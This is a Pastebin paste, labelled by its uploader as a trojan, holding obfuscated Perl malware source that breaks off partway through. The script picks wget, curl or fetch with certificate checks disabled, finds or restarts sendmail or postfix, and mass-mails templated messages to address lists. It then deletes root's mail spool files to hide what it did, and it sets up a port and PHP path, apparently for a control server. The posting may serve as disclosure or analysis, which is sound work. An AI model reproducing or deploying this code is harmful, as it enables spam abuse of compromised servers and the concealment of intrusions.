Advertisement
cheako

This is a trojan.

Mar 15th, 2012
1,935
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/perl
  2.  
  3. use strict;
  4. use Socket;
  5. use CGI;
  6. srand( time ^ $$ ^ unpack "%L*", `ps axww | gzip` );
  7. $SIG{PIPE} = sub { die "Broken pipe" };
  8. $ENV{PATH} =
  9.   $ENV{PATH} . ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin";
  10. my $i5mk = ( $< == 0 );
  11. my $ha3c = ( ( getpwuid($>) )[0] );
  12. my $b57i = 0;
  13. $b57i = length( $ARGV[0] ) if ( $ARGV[0] =~ /^ +$/ );
  14. my $k2df = int( rand(2147483647) );
  15. my ( $ii1p, $g651, $ed90 );
  16. my $cnik = 443;
  17. my $id8k = "/b/index.php";
  18. my $jdpm = '/tmp/...';
  19. my $h8h1 = 0;
  20. my $f377 = 0;
  21. my $h788 = 0;
  22. my $d1m7 = 0;
  23. my $cnon = 0;
  24. my $iocp = 0;
  25. my $c84a = 50;
  26. my $p    = "1234567890";
  27. my $ch4p;
  28. my $jdmk = "sendmail";
  29. my $c1eh;
  30. my $k1a3;
  31. my %cmp4;
  32. my $h7on = 27;
  33. $cmp4{'d_v'}  = $h7on;
  34. $cmp4{'d_w'}  = $ha3c;
  35. $cmp4{'d_rb'} = $b57i;
  36. $cmp4{'d_pi'} = $$;
  37. $cmp4{'d_iv'} = $];
  38. sub aam { print '[' . localtime() . '] '; print @_; }
  39.  
  40. sub aah {
  41.     return 0 if !open( SIGNFH, ">$jdpm" );
  42.     return 0 if !flock( SIGNFH, 2 | 4 );
  43.     return 1;
  44. }
  45.  
  46. sub aap {
  47.     my $eaoo = shift;
  48.     my $in7h = shift;
  49.     my $gle5 = shift;
  50.     my $kf33 = shift;
  51.     my $k65l = shift;
  52.     my $hhoe = $eaoo->{'name'};
  53.     my $j9ej = $eaoo->{'addr'};
  54.     my $feib = ab2(4);
  55.     $kf33 =~ s/\[\[firstname\]\]/$hhoe/g;
  56.     $kf33 =~ s/\[\[id\]\]/$j9ej/g;
  57.     $kf33 =~ s/\[\[count\]\]/$k65l/g;
  58.     $kf33 =~ s/\[\[rand\]\]/$feib/g;
  59.     $gle5 =~ s/\[\[firstname\]\]/$hhoe/g;
  60.     $gle5 =~ s/\[\[id\]\]/$j9ej/g;
  61.     $gle5 =~ s/\[\[count\]\]/$k65l/g;
  62.     $gle5 =~ s/\[\[rand\]\]/$feib/g;
  63.     my $ip30 =
  64.         "From: $in7h|To: "
  65.       . ( $hhoe ? "\"$hhoe\" <$j9ej>" : "$j9ej" )
  66.       . "|Subject: $gle5";
  67.     eval {
  68.         open SENDMAIL, "| $jdmk -t";
  69.         print SENDMAIL "From: $in7h\n";
  70.         print SENDMAIL "To: "
  71.           . ( $hhoe ? "\"$hhoe\" <$j9ej>" : "$j9ej" ) . "\n";
  72.         print SENDMAIL "Subject: $gle5\n";
  73.         print SENDMAIL "$kf33";
  74.         close SENDMAIL;
  75.     };
  76.     if ($@) { my $cka4 = $@; chomp $cka4; return 0; }
  77.     return 1;
  78. }
  79.  
  80. sub aak {
  81.     my $k811 = shift;
  82.     my $jjho = shift;
  83.     my @iheh = @$jjho;
  84.     my $in7h = shift @iheh;
  85.     my $gle5 = shift @iheh;
  86.     my $kf33;
  87.     while ( scalar(@iheh) ) {
  88.         my $kh8m = shift @iheh;
  89.         if ( $kh8m eq $k811 ) { last; }
  90.         $kf33 .= $kh8m . "\n";
  91.     }
  92.     my @ag4c;
  93.     while ( scalar(@iheh) ) {
  94.         my $eaoo = {};
  95.         my $kh8m = shift @iheh;
  96.         if ( $kh8m =~ /^(.*)\t(.+)$/ ) {
  97.             $eaoo->{'addr'} = $2;
  98.             $eaoo->{'name'} = $1;
  99.         }
  100.         else { $eaoo->{'addr'} = $kh8m; }
  101.         push @ag4c, $eaoo if ( $eaoo->{'addr'} );
  102.     }
  103.     for ( my $i = 0 ; $i < scalar(@ag4c) ; ) {
  104.         if   ( aap( $ag4c[$i], $in7h, $gle5, $kf33, $i ) ) { $h788++; $d1m7++; }
  105.         else                                               { $cnon++; $iocp++; }
  106.         $i++;
  107.     }
  108.     if ($i5mk) {
  109. `rm -f  /var/mail/root /var/spool/mail/root /var/mail/mail /var/spool/mail/mail`;
  110.     }
  111.     `rm -f ~/dead.letter`;
  112. }
  113.  
  114. sub aae {
  115.     my $c056 = sprintf(
  116.         $k1a3 . " | grep -ci '<html'",
  117.         "https://accounts.google.com/ServiceLogin?service=mail"
  118.     );
  119.     my ($ieha) = `$c056`;
  120.     chomp $ieha;
  121.     return $ieha;
  122. }
  123.  
  124. sub ab7 {
  125.     if ( $c1eh eq "wget" ) {
  126.         my ($d4o0) =
  127. `wget --version | head -n1 | grep -o "\\.[0-9]*" | grep -o "[0-9]*\$"`;
  128.         chomp $d4o0;
  129.         $d4o0 = int($d4o0);
  130.         $k1a3 = "wget -q -O - -t 1 -T 60 ";
  131.         $k1a3 .= "--no-check-certificate " if ( $d4o0 > 9 );
  132.         $k1a3 .= '"%s"';
  133.     }
  134.     elsif ( $c1eh eq "curl" )  { $k1a3 = 'curl -s -k --max-time 60 "%s"'; }
  135.     elsif ( $c1eh eq "fetch" ) { $k1a3 = 'fetch -T 60 -q -o - "%s"'; }
  136. }
  137.  
  138. sub ab0 {
  139.     my @kh24 = ( 'wget', 'curl', 'fetch' );
  140.     undef $c1eh;
  141.     foreach my $jjaj (@kh24) {
  142.         if ($ch4p) { my $c31k = `which $jjaj`; next if ( $c31k !~ /^\// ); }
  143.         $c1eh = $jjaj;
  144.         ab7();
  145.         if ( !aae() ) { undef $c1eh; next; }
  146.         last;
  147.     }
  148.     if ( !$c1eh ) { $c1eh = "wget"; ab7(); }
  149.     $cmp4{'d_br'} = $c1eh;
  150. }
  151. my $jf8c = 0;
  152.  
  153. sub ab5 {
  154.     return if ( time() - $jf8c < 3600 );
  155.     $jf8c = time();
  156.     $ch4p = `which which | grep -v alias | sed -e 's/^[[:space:]]*//'`;
  157.     ab0();
  158.     ab1();
  159.     my $d2fa =
  160. `ps -xo command | grep -v grep | grep postfix/master | wc -l | sed -e 's/^[[:space:]]*//'`;
  161.     chomp $d2fa;
  162.     if ($d2fa) {
  163.         $cmp4{'d_ma'} = 'postfix';
  164.         if ($ch4p) {
  165.             $d2fa = `which sendmail.postfix`;
  166.             chomp $d2fa;
  167.             $jdmk = $d2fa if ( $d2fa =~ /^\/.*aap.postfix$/ );
  168.         }
  169.     }
  170.     else {
  171.         $cmp4{'d_ma'} = 'sendmail';
  172.         if ($i5mk) {
  173.             my $k648 = `service sendmail status`;
  174.             chomp $k648;
  175.             if ( $k648 =~ /^aap is stopped/ ) { `service sendmail start`; }
  176.         }
  177.     }
  178.     $cmp4{'d_mc'} = $jdmk;
  179. }
  180.  
  181. sub ab1 {
  182.     my $go98 = 'sendmail';
  183.     if ($ch4p) {
  184.         my $c0k3 = `which $go98`;
  185.         chomp $c0k3;
  186.         if ( $c0k3 =~ /^(\/[^ ]+)/ ) { $jdmk = $1; return 1; }
  187.     }
  188.     my @i1bb = split /\n/, `locate $go98 | head -n1000`;
  189.     push @i1bb, split /\n/,
  190. `find /bin/ /sbin/ /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin/ -type f -or -type l | grep $go98`;
  191.     chomp @i1bb;
  192.     my @din4;
  193.     foreach my $f2pe (@i1bb) {
  194.         next if ( -d $f2pe );
  195.         next if ( !-x $f2pe );
  196.         next if ( $f2pe =~ /\.so$/ );
  197.         if ( $f2pe =~ /bin\// && $f2pe =~ /$go98$/ ) {
  198.             $jdmk = $f2pe;
  199.             return 1;
  200.         }
  201.         push( @din4, $f2pe );
  202.     }
  203.     foreach my $f2pe
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement